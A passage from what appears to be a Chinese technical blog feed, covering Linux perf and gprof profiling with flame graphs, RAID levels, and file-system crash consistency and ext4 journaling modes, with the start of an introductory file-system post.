&lt;li&gt;&lt;strong&gt;高 &lt;code&gt;div&lt;/code&gt; / &lt;code&gt;sqrt&lt;/code&gt;&lt;/strong&gt;：复杂的算术运算指令本身耗时较长。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;源码对照&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;为了获得最佳体验，&lt;strong&gt;编译时务必加上 &lt;code&gt;-g&lt;/code&gt; 选项&lt;/strong&gt;（&lt;code&gt;gcc -g -O2 ...&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;如果 &lt;code&gt;perf&lt;/code&gt; 提示找不到源码，可以在 TUI 中按 &lt;code&gt;o&lt;/code&gt; 设置源码路径，或者重新编译时使用相对/绝对路径对齐。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;4. 高级诊断：内存与并发&lt;/h2&gt;
&lt;p&gt;对于多线程和高性能计算程序，内存访问模式和锁竞争往往是瓶颈所在。&lt;/p&gt;
&lt;h3&gt;内存访问分析&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;sudo perf mem record ./a.out
# 随后使用 perf report 查看内存访问详情
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;伪共享检测 (False Sharing)&lt;/h3&gt;
&lt;p&gt;这是多线程编程中的隐形杀手。&lt;code&gt;perf c2c&lt;/code&gt; (Cache-to-Cache) 可以帮助识别多个核心争抢同一缓存行的情况。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# -a: 系统范围录制
# sleep 10: 采集 10 秒
sudo perf c2c record -a -- sleep 10
sudo perf c2c report
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;调度延迟分析&lt;/h3&gt;
&lt;p&gt;分析进程等待 CPU 的时间以及 CPU 迁移情况：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo perf sched latency
sudo perf sched migrate
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;实时监控：Perf Top&lt;/h3&gt;
&lt;p&gt;类似于 Linux 的 &lt;code&gt;top&lt;/code&gt; 命令，但 &lt;code&gt;perf top&lt;/code&gt; 显示的是消耗 CPU 周期最多的函数，适合实时排查生产环境飙高的问题。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 实时显示消耗 cycles 最多的函数，按进程名(comm)和动态库(dso)分类
sudo perf top -e cycles -s comm,dso
# 仅监控特定进程组（如 gcc, clang）的 cache-misses
sudo perf top -e cache-misses --comms gcc,clang
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5. 可视化：火焰图 (Flame Graph)&lt;/h2&gt;
&lt;p&gt;文本报告虽然详细，但不够直观。Brendan Gregg 发明的火焰图能够将调用栈可视化，快速识别“平顶”的性能瓶颈。&lt;/p&gt;
&lt;h3&gt;安装工具&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/brendangregg/FlameGraph.git --depth 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;绘制流程&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;录制&lt;/strong&gt;：使用 &lt;code&gt;dwarf&lt;/code&gt; 格式获取更完整的调用栈（需要 debug info）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;解析&lt;/strong&gt;：将二进制数据转换为文本。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;折叠&lt;/strong&gt;：整合相同的调用栈。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;绘制&lt;/strong&gt;：生成 SVG 图片。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# 1. 录制
sudo perf record -F 99 -g --call-graph dwarf ./a.out
# 2-4. 一条龙生成 
perf script | ./FlameGraph/stackcollapse-perf.pl | ./FlameGraph/flamegraph.pl &amp;gt; flame.svg
# 或者分步执行
# sudo perf script &amp;gt; out.perf
# ./FlameGraph/stackcollapse-perf.pl out.perf &amp;gt; out.folded
# ./FlameGraph/flamegraph.pl out.folded &amp;gt; flame.svg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;生成后，用浏览器打开 &lt;code&gt;flame.svg&lt;/code&gt;，横轴越长代表占用 CPU 时间越久，颜色深浅通常无特定含义（或者是随机）。&lt;/p&gt;
&lt;h2&gt;6. 经典补充：Gprof&lt;/h2&gt;
&lt;p&gt;虽然 &lt;code&gt;perf&lt;/code&gt; 是非侵入式的系统级分析工具，但老牌的 &lt;code&gt;gprof&lt;/code&gt; (GNU Profiler) 在源码级分析上依然有一席之地。&lt;/p&gt;
&lt;h3&gt;编译与运行&lt;/h3&gt;
&lt;p&gt;必须加上 &lt;code&gt;-pg&lt;/code&gt; 选项：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;g++ -pg -g -O0 test.cpp
time ./a.out
# 运行结束后会生成 gmon.out 文件
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;生成报告与可视化&lt;/h3&gt;
&lt;p&gt;Gprof 的文本报告通常很长，配合 &lt;code&gt;gprof2dot&lt;/code&gt; 和 &lt;code&gt;Graphviz&lt;/code&gt; 可以生成直观的调用关系图。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 生成文本报告
gprof -q ./a.out &amp;gt; ganalysis.md
# 生成调用关系图 (SVG)
# 简单视图
gprof ./a.out | gprof2dot -s -n 1.0 --skew=1 | dot -Tsvg -o callgraph.svg
# 深度视图 (控制层级和节点间距)
gprof ./a.out | gprof2dot -s -n 1.0 --skew=1 --depth=4 | dot -Tsvg -Granksep=1 -Gnodesep=0.1 -o callgraph_detailed.svg
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;一次 perf 示例：&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;g++ -g -std=c++20 -mavx2 -mfma Gaussian_Blur.cpp &amp;amp;&amp;amp; ./a.out 
sudo perf stat -e cycles,instructions,L1-dcache-load-misses,L1-dcache-loads,LLC-load-misses,LLC-loads,cache-references,cache-misses ./a.out
# 找出代码级问题点
sudo perf report -g -F+period,srcline
# 优化问题
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;一些建议与经验&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Lambda&lt;/code&gt;应该使用[=]按值捕获__m256 而不是[&amp;amp;]：因为&lt;strong&gt;按值捕获&lt;/strong&gt;允许编译器将常量数据永久保留在 &lt;code&gt;YMM&lt;/code&gt; 寄存器中，从而减少对内存的访问。也防止了潜在的&lt;code&gt;指针别名&lt;/code&gt;问题，导致每次寄存器必须写回栈内存、每次都从栈内存重新读取，无法高效使用寄存器。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cache miss&lt;/code&gt; 不能只孤立地看待缓存未命中率，还要考虑绝对数值大小。比如，不同优化下的-O0强制把所有变量都存放在栈内存，而-O3会尽可能的使用寄存器，导致-O0访问L1的次数（分母）明显变大，使未命中率看起来很低，给人一种“-O0的缓存命中概率更高”的假象。即&lt;code&gt;内存乒乓&lt;/code&gt; (Memory Ping-Pong)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;高 IPC 不一定代表高性能&lt;/code&gt;！-O0 的 IPC 高，那是因为它在疯狂执行 MOV 和 整数运算 等简单的指令，这些简单指令易于被 CPU 流水线填满，但其实它是在全速运行“垃圾代码”。&lt;/li&gt;
&lt;li&gt;不要试图去优化每一行代码。根据帕累托原则， &lt;strong&gt;90% 的性能问题集中在 10% 的代码中&lt;/strong&gt;。熟练使用 &lt;code&gt;perf annotate&lt;/code&gt; 等工具精准定位性能热点，再结合 &lt;code&gt;perf c2c&lt;/code&gt; 排除并发陷阱，你就能用最小的力气获得最大的性能提升。&lt;/li&gt;
&lt;li&gt;&lt;code&gt; 火焰图&lt;/code&gt;是向团队和老板展示优化成果的最佳工具。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>持久数据的可靠性</title><link>https://blog.alinche.dpdns.org/posts/os/fs/safefs/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/os/fs/safefs/</guid><description>持久数据的可靠性</description><pubDate>Sun, 16 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;RAID (Redundant Array of Inexpensive Disks)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;廉价磁盘冗余阵列&lt;/strong&gt;: 它将多块不可靠的小磁盘组合起来，变成一个&lt;strong&gt;又大又快又可靠&lt;/strong&gt;的大磁盘。&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;RAID级别&lt;/th&gt;
&lt;th&gt;别名&lt;/th&gt;
&lt;th&gt;数据组织方式&lt;/th&gt;
&lt;th&gt;校验机制&lt;/th&gt;
&lt;th&gt;最小磁盘数&lt;/th&gt;
&lt;th&gt;可用容量&lt;/th&gt;
&lt;th&gt;容错能力&lt;/th&gt;
&lt;th&gt;主要优缺点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RAID 0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;条带化&lt;/td&gt;
&lt;td&gt;数据分块交替存储&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;n&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;优&lt;/strong&gt;：读写性能最高，存储空间利用率100%*；&lt;strong&gt;缺&lt;/strong&gt;：无冗余，可靠性最低&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RAID 1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;镜像&lt;/td&gt;
&lt;td&gt;数据完全镜像&lt;/td&gt;
&lt;td&gt;无（通过副本冗余）&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;n/2&lt;/td&gt;
&lt;td&gt;允许损坏1块盘&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;优&lt;/strong&gt;：读性能佳，数据安全性最高；&lt;strong&gt;缺&lt;/strong&gt;：存储成本高，写性能较低,空间利用率50%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RAID 2&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;汉明码校验&lt;/td&gt;
&lt;td&gt;数据按位条带化&lt;/td&gt;
&lt;td&gt;专用汉明码（ECC）校验盘&lt;/td&gt;
&lt;td&gt;可变（如4+3）&lt;/td&gt;
&lt;td&gt;小于n&lt;/td&gt;
&lt;td&gt;允许损坏1块盘（可纠错）&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;优&lt;/strong&gt;：可实时纠错；&lt;strong&gt;缺&lt;/strong&gt;：设计复杂，校验盘比例高，成本高&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RAID 3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;位级奇偶校验&lt;/td&gt;
&lt;td&gt;数据按位/字节条带化&lt;/td&gt;
&lt;td&gt;专用奇偶校验盘&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;n-1&lt;/td&gt;
&lt;td&gt;允许损坏1块盘（非校验盘）&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;优&lt;/strong&gt;：大文件连续读写性能好；&lt;strong&gt;缺&lt;/strong&gt;：校验盘是单一瓶颈，随机写入性能差&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RAID 4&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;块级奇偶校验&lt;/td&gt;
&lt;td&gt;数据按块条带化&lt;/td&gt;
&lt;td&gt;专用奇偶校验盘&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;n-1&lt;/td&gt;
&lt;td&gt;允许损坏1块盘（非校验盘）&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;优&lt;/strong&gt;：适合多读的小文件场景；&lt;strong&gt;缺&lt;/strong&gt;：校验盘是单一瓶颈，随机写入性能差&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RAID 5&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;分布式奇偶校验&lt;/td&gt;
&lt;td&gt;数据与奇偶校验信息分布式存储&lt;/td&gt;
&lt;td&gt;奇偶校验信息分布在各盘&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;n-1&lt;/td&gt;
&lt;td&gt;允许损坏1块盘&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;优&lt;/strong&gt;：均衡性能、容量、安全性；&lt;strong&gt;缺&lt;/strong&gt;：小量的写惩罚，坏盘重建压力大&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RAID 6&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;双重奇偶校验&lt;/td&gt;
&lt;td&gt;数据与双重奇偶校验信息分布式存储&lt;/td&gt;
&lt;td&gt;两个独立的奇偶校验信息&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;n-2&lt;/td&gt;
&lt;td&gt;允许损坏2块盘&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;优&lt;/strong&gt;：容错能力极强；&lt;strong&gt;缺&lt;/strong&gt;：设计更复杂，双倍的小量写惩罚，坏盘重建压力更大&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;理解RAID需要掌握4个核心概念：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;镜像(Mirroring)&lt;/strong&gt;：将相同的数据复制到多个磁盘上。这直接提高了可靠性，并且多个副本可以并行读取，提升了读性能。但代价是存储利用率低，例如RAID 1的利用率只有50%。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据条带(Data Stripping)&lt;/strong&gt;：将数据分割成块（位、字节或更大的块），然后轮流存储在多个磁盘上。当进行读写时，可以同时对多块磁盘操作，从而显著提升数据传输速率。RAID 0是纯粹的条带化，但它没有冗余，一旦某块磁盘故障，所有数据都会丢失。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据校验(Data Parity)&lt;/strong&gt;：通过算法（如异或运算）计算出一段数据的校验值。当某块磁盘上的数据丢失时，可以利用剩余磁盘上的数据和校验信息来重建丢失的数据。这是一种用计算空间换取可靠性的方法（如奇偶校验）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;写惩罚(Write Penalty)&lt;/strong&gt;: 带有奇偶校验的RAID每次写入新数据，都需要重新读取旧数据和旧校验值，计算新校验值后再写入，这导致一次逻辑写入可能引发多次物理读写操作，降低了写效率。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在选择和实施RAID时，还需注意以下几点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;热备盘(Hot Spare)&lt;/strong&gt;：配置一块或多块空闲磁盘作为全局或局部热备盘。当阵列中某块数据盘故障时，系统能自动用热备盘替换故障盘，并立即开始重建数据，大大缩短系统运行在降级状态的时间。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重建时间(Rebuild Time)&lt;/strong&gt;：一块磁盘故障后，将数据恢复到新磁盘的过程可能非常耗时，尤其是对于大容量硬盘组成的RAID 5或RAID 6阵列。在此期间，阵列性能会下降，且如果再有磁盘故障，数据将面临风险。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;硬件RAID vs. 软件RAID&lt;/strong&gt;：RAID可以通过专门的硬件卡（硬件RAID）或操作系统驱动程序（软件RAID）实现。硬件RAID性能更好，不消耗主机CPU资源；软件RAID成本低，配置灵活，但会占用系统资源。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;崩溃一致性与崩溃恢复&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;文件系统的崩溃一致性是个很关键问题，它确保了即使在系统遭遇突发状况——如断电、Kernel Panic 或硬件故障等问题，磁盘上的文件系统结构依然能保持逻辑上的完整和自洽，不会因为一次意外而导致整个分区的数据永久损坏或丢失。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;问题的根源：非原子性的多步更新&lt;/h3&gt;
&lt;p&gt;想象一个简单操作：向一个已有文件append追加一个数据块。在底层，这通常需要三次独立的磁盘写入(&lt;code&gt;bwrite&lt;/code&gt;)：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;更新数据位图&lt;/strong&gt;：在数据位图(Data Bitmap)中找到一个空闲位并标记为已使用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更新inode&lt;/strong&gt;：将一个新的指针指向刚刚分配的数据块，并更新文件的大小。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;写入新数据块&lt;/strong&gt;本身。&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;底层的 &lt;code&gt;bwrite&lt;/code&gt; (块写入) 操作既&lt;strong&gt;不保证原子性，也不保证执行顺序&lt;/strong&gt;。操作系统将写请求提交给磁盘驱动，但磁盘自身的调度算法和内部缓存可能会为了效率而重新排序这些写入。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;如果在这三次写入之间的任意时刻系统崩溃&lt;/strong&gt;，文件系统就会陷入不一致的状态。例如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;仅写入数据块：数据在盘上，但没有人能访问它（元数据未指向它），相当于写入一个&lt;strong&gt;空间泄露&lt;/strong&gt;的碎片。&lt;/li&gt;
&lt;li&gt;更新了位图和inode，但数据块未写入：元数据指向了垃圾数据，对垃圾数据的读取甚至执行，可能出现一切BUG！&lt;/li&gt;
&lt;li&gt;更新了inode和数据块，但位图未更新：文件可正常访问，但位图显示该数据块未分配，会被后面的数据覆盖。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;append-only 日志 (Journaling)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;日志落盘后，才更新数据结构。若崩溃，重放日志并清除(redo / undo)&lt;/li&gt;
&lt;li&gt;bread bwrite bflush(barrier): (all-or-nothing)
&lt;ul&gt;
&lt;li&gt;bread lseek -&amp;gt; bwrite begin -&amp;gt; bwrite log -&amp;gt; bflush 落盘 -&amp;gt; bwrite end -&amp;gt; bflush ( -&amp;gt; 更新数据)&lt;/li&gt;
&lt;li&gt;ext4 checksum&lt;/li&gt;
&lt;li&gt;metadata写放大？数据丢失？&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;解决方案的演进&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;技术方案&lt;/th&gt;
&lt;th&gt;核心思想&lt;/th&gt;
&lt;th&gt;优点&lt;/th&gt;
&lt;th&gt;缺点&lt;/th&gt;
&lt;th&gt;应用示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;文件系统检查 (FSCK)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;事后补救&lt;/strong&gt;：崩溃后扫描并修复整个文件系统&lt;/td&gt;
&lt;td&gt;实现相对简单&lt;/td&gt;
&lt;td&gt;恢复时间极长，与磁盘容量成正比&lt;/td&gt;
&lt;td&gt;早期 Ext2 文件系统&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;日志 (Journaling)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;预写日志&lt;/strong&gt;：先将操作意图记入日志，再实际修改文件系统&lt;/td&gt;
&lt;td&gt;恢复速度极快（秒级），可靠性高&lt;/td&gt;
&lt;td&gt;有额外的写操作开销&lt;/td&gt;
&lt;td&gt;Ext3/4, XFS, NTFS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;写时复制 (Copy-on-Write)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;不覆盖&lt;/strong&gt;：任何更新都写入新位置，然后更新指针&lt;/td&gt;
&lt;td&gt;数据一致性极佳，支持高效快照&lt;/td&gt;
&lt;td&gt;加剧写放大，可能产生碎片&lt;/td&gt;
&lt;td&gt;Btrfs, ZFS, APFS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;软更新 (Soft Updates)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;有序写入&lt;/strong&gt;：精心控制元数据写入顺序以避免不一致&lt;/td&gt;
&lt;td&gt;避免写日志的开销&lt;/td&gt;
&lt;td&gt;实现极其复杂&lt;/td&gt;
&lt;td&gt;BSD 的 UFS/FFS 相关变种&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;日志结构文件系统 (LFS)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;万物皆日志&lt;/strong&gt;：将所有数据和元数据更新顺序写入日志&lt;/td&gt;
&lt;td&gt;写性能高，尤其适合随机写&lt;/td&gt;
&lt;td&gt;垃圾回收机制复杂，读性能可能受影响&lt;/td&gt;
&lt;td&gt;研究性&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h3&gt;日志机制详解&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;日志 (&lt;code&gt;Journaling&lt;/code&gt;)&lt;/strong&gt; 是目前最主流、最成熟的崩溃一致性解决方案。它的核心思想源自数据库领域的“预写日志” (&lt;code&gt;WAL&lt;/code&gt;, Write-Ahead Logging)。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在数据结构上，日志不是一个无限增长的普通文件，而是一个预先分配好大小的“循环缓冲区(Circular Buffer)”。Head 跟 Tail 指针之间的日志就是写入但是还没写好的“活跃”数据，是系统崩溃后需要检查的区域。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;日志技术通过“&lt;strong&gt;预写日志&lt;/strong&gt;”来解决一致性问题，其核心流程如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;日志写入&lt;/strong&gt;：将本次操作需要修改的所有元数据（和数据）作为一个事务（包括开始标记TxB、内容、结束标记TxE）先写入日志区域。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;日志提交&lt;/strong&gt;：当日志事务完整写入磁盘后，才被认为已提交。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;加检查点&lt;/strong&gt;：将日志中的修改内容真正应用到文件系统的主数据结构上。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;释放&lt;/strong&gt;：主数据更新完成后，在日志中标记此事务空间可复用。&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;日志落盘后，才更新数据结构。若崩溃，重放日志并清除(redo / undo)&lt;/li&gt;
&lt;li&gt;bread, bwrite, bflush(barrier): (实现 all-or-nothing)
&lt;ul&gt;
&lt;li&gt;bread lseek -&amp;gt; bwrite begin -&amp;gt; bwrite log -&amp;gt; bflush 落盘 -&amp;gt; bwrite end -&amp;gt; bflush ( -&amp;gt; Checkpoint 更新数据) -&amp;gt; 修改Head指针释放日志空间&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# 查看为每个设备运行的日志内核线程 (journaling block device)
ps -el | grep jbd
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;崩溃后的极速恢复&lt;/h4&gt;
&lt;p&gt;当系统崩溃后重启时，文件系统驱动程序无需扫描整个磁盘，只需检查小小的日志区域：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;情况1&lt;/strong&gt;：如果在日志中发现一个&lt;strong&gt;完整且已提交&lt;/strong&gt;的事务（即找到了 &lt;code&gt;TxB&lt;/code&gt; 和对应的 &lt;code&gt;TxE&lt;/code&gt;），但可能还没来得及 &lt;code&gt;Checkpoint&lt;/code&gt;。恢复过程就是简单地&lt;strong&gt;重放(Redo)&lt;/strong&gt; 日志：将日志中的修改内容再写一遍到最终位置。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;情况2&lt;/strong&gt;：如果在日志中发现一个&lt;strong&gt;不完整&lt;/strong&gt;的事务（只有 &lt;code&gt;TxB&lt;/code&gt; 没有 &lt;code&gt;TxE&lt;/code&gt;），说明在日志提交完成前就崩溃了。恢复过程就是&lt;strong&gt;忽略(Undo)&lt;/strong&gt; 这个事务，因为它从未被“承诺”过，主数据区也从未被它“污染”。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;日志的三种模式：安全与性能的权衡&lt;/h4&gt;
&lt;p&gt;日志主要保护的是&lt;strong&gt;元数据 (Metadata)&lt;/strong&gt; 的一致性，但如何处理&lt;strong&gt;数据 (Data)&lt;/strong&gt; 本身，&lt;code&gt;ext3/ext4&lt;/code&gt; 提供了三种模式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;journal&lt;/code&gt; 模式 (最安全，最慢)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;行为&lt;/strong&gt;：&lt;strong&gt;数据和元数据&lt;/strong&gt;都先完整地写入日志。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优点&lt;/strong&gt;：提供了最高级别的一致性保证。无论何时崩溃，文件内容和其元数据总是同步的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缺点&lt;/strong&gt;：所有数据都要写两遍（一遍到日志，一遍到最终位置），造成了严重的&lt;strong&gt;写放大(Write Amplification)&lt;/strong&gt;，性能开销最大。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ordered&lt;/code&gt; 模式 (默认模式，最佳平衡)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;行为&lt;/strong&gt;：只将&lt;strong&gt;元数据&lt;/strong&gt;写入日志，但强制规定一个写入顺序：&lt;strong&gt;必须先将数据块成功写入最终位置，然后才能将引用该数据块的元数据事务提交到日志中&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优点&lt;/strong&gt;：避免了最坏的“元数据指向垃圾数据”的情况。因为它保证了只要元数据被恢复，其指向的数据块内容至少是正确的（虽然可能是旧的，但不是垃圾）。性能远高于 &lt;code&gt;journal&lt;/code&gt; 模式。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缺点&lt;/strong&gt;：如果系统在数据写入后、元数据提交前崩溃，可能会导致文件末尾出现一些未被元数据引用的“新数据”。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;writeback&lt;/code&gt; 模式 (最快，最不安全)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;行为&lt;/strong&gt;：只将&lt;strong&gt;元数据&lt;/strong&gt;写入日志，并且对数据和元数据的写入顺序&lt;strong&gt;没有任何保证&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优点&lt;/strong&gt;：性能最高，因为它解除了数据和元数据写入的顺序依赖。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缺点&lt;/strong&gt;：一致性保证最弱。崩溃恢复后，你可能会发现文件大小增加了，但对应的物理块里还是旧的、无关的数据。这在很多应用场景下是不可接受的。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>文件系统入门</title><link>https://blog.alinche.dpdns.org/posts/os/fs/fs/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/os/fs/fs/</guid><description>文件系统API与FAT32入门</description><pubDate>Thu, 13 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;设备在应用程序之间共享&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;why 文件系统&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;共享原始磁盘：字符序列不是一个磁盘的好抽象 (x)&lt;/p&gt;
&lt;p&gt;虚拟磁盘:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;提供合理的API使多个应用程序能共享数据&lt;/li&gt;
&lt;li&gt;隔离，使错误不能任意扩大
对“存储设备的虚拟化”&lt;/li&gt;
&lt;li&gt;磁盘(IO设备): 可读写的字节序列&lt;/li&gt;
&lt;li&gt;虚拟磁盘(文件): 可读写的动态字节序列
&lt;ul&gt;
&lt;li&gt;命名管理: 名称、检索、遍历&lt;/li&gt;
&lt;li&gt;数据管理: std::vector&amp;lt;char&amp;gt; 随机读写/resize&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;为什么需要文件系统：实现应用程序间的安全高效共享&lt;/h2&gt;
&lt;p&gt;在现代操作系统中，多个应用程序并发运行，它们都需要持久化地存储和访问数据。一个核心问题是：这些应用程序如何安全高效地&lt;strong&gt;共享底层的存储设备&lt;/strong&gt;（如硬盘或SSD）？而这正是文件系统要解决的关键问题。&lt;/p&gt;
&lt;h3&gt;1. 问题的根源：为何不能直接共享原始磁盘？&lt;/h3&gt;
